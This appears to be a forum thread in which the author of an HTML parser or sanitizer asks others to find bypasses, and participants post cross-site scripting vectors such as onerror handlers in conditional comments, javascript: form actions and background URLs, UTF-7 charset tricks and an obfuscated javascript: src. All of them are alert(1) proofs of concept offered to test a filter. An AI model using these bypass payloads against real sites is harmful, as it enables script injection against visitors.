Paid Advertising
Quote
Find a valid HTML code that will be parsed incorrectly by the parser, AND/OR code that executes (if I forgot to remove some vector).
<a href="asdf'><img src="http://www.google.com">hello</a>
<a>hello</a>
<a href="asdf'><img src='http://www.google.com'>hello</a>
<a><img src="http://www.google.com">hello</a>
<!--[if true]><img onerror=alert(1) src=-->
<form action=javascript:alert(1)><input type=submit>
<body <li background="javascript:alert(1)"
hm.. why should it work? haha I do document.write() that ignores content-type metas afaik (this is a bug I will address when events are working perfectly, and that will happend when I manage to finish the CSS parser).Quote
<html>
<head>
<title>hello, world.</title>
</head>
<form action= javascript:alert(1)><meta http-equiv="Content-Type" content="text/html; charset=UTF-7" /><input type=submit></form>+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4-
</body>
</html>
oh!! thanks then haha :DQuote
@sdc: Yes :) I was trying to say good work in my own words. the background gets stripped on only the browsers where it would be executed - Opera and IE.
very nice gareth!! any particular reason to choose that char? fuzzing? do you have fuzz results? hahaQuote
<img src=javascriptጀ:alert(1)>
<head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-7"> +ADw-script+AD4-alert(1)+ADw-/script+AD4-
